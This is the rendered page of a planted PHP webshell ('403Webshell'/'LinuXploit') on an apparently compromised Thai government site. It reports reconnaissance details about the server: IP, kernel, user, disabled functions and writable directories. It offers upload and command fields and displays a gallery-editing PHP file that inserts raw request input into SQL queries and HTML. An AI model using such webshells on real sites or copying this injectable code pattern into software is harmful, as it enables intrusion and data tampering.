403Webshell
Server IP : 119.59.102.212  /  Your IP : 3.16.139.36
Web Server : Apache/2
System : Linux narin 2.6.32-042stab142.1 #1 SMP Tue Jan 28 23:44:17 MSK 2020 x86_64
User : yangkam ( 1022)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/yangkam/domains/yangkam.go.th/private_html/coremain/module/web/gallery/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yangkam/domains/yangkam.go.th/private_html/coremain/module/web/gallery/gallery_edit.php
<?
// Status Package Module
$status_module=select_query("status_module","cms_status_module","id","18");
if($status_module[0]!=1)	{	
	fieldset_no_module();
}
// Pession
if(id_top_permission("b")!=1){	
	permission_fail();			
}
$navig['gallery']="ภาพกิจกรรม";
$navig['gallery_edit']="แก้ไขชื่อกิจกรรม";
navigator($navig);
echo "<br>";
bar_header("แก้ไขชื่อกิจกรรม");
fieldset_top("ภาพกิจกรรม");
import_request_variables('pG', 'p_');
if($p_datatm!="")						{	     $datatm=trim($p_datatm);							}
if($p_id_update!="")					{	     $id_update=trim($p_id_update);				}
if($p_block!="")							{	     $block=trim($p_block);								}
if($p_fulltexts!="")						{	     $fulltexts=trim($p_fulltexts);						}
if($p_en_fulltexts!="")						{	     $en_fulltexts=trim($p_en_fulltexts);						}
if($p_edit_topic!="")					{	     $edit_topic=trim($p_edit_topic);				}

if($edit_topic==1){
$sql="UPDATE port_gallery_topic SET `fulltexts` = '$fulltexts',`en_fulltexts` = '$en_fulltexts', `block`='$block' WHERE `id_topic`='$id_update'";
$result = mysql_query($sql) or die(mysql_error());
	echo "<center><br><br> ข้อมูลได้ถูกแก้ไขแล้ว </center>";
	echo "<meta http-equiv='refresh' content='2; url=index.php?mod=gallery&path=gallery'>" ;
//	exit;
}
else{
$sql="SELECT * FROM port_gallery_topic WHERE id_topic='$id_update'";
$re=mysql_query($sql);
$data=mysql_fetch_array($re);
	if($block=="") $block=$data[block];

echo"<form  action='index.php?mod=gallery_edit&path=gallery&id_update=$id_update' method='post' name='add' id='add'>";
echo"<table width='98%' border='0' align='center' cellpadding='1' cellspacing='1'>";


echo"   <tr>";
	echo"	 <td>";
					text_editor("450","260",$data[fulltexts],"แก้ไขชื่อกิจกรรม","fulltexts"); // Text Editor
			echo"<INPUT TYPE='hidden' name='edit_topic' value='1'>";
			echo"<INPUT TYPE='hidden' name='block' value='$block'>";
	echo"	</td> ";
echo"  </tr>";

echo"<tr>  	";
echo"	<td></td> ";
echo"	 <td>       ";
echo"			<input type='submit' name='Submit' value='แก้ไขข้อมูล' onmouseover=this.style.cursor='hand'></td>"; 
echo"  </tr>";
echo"  </table>";
echo"</form>   ";
}
fieldset_down();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit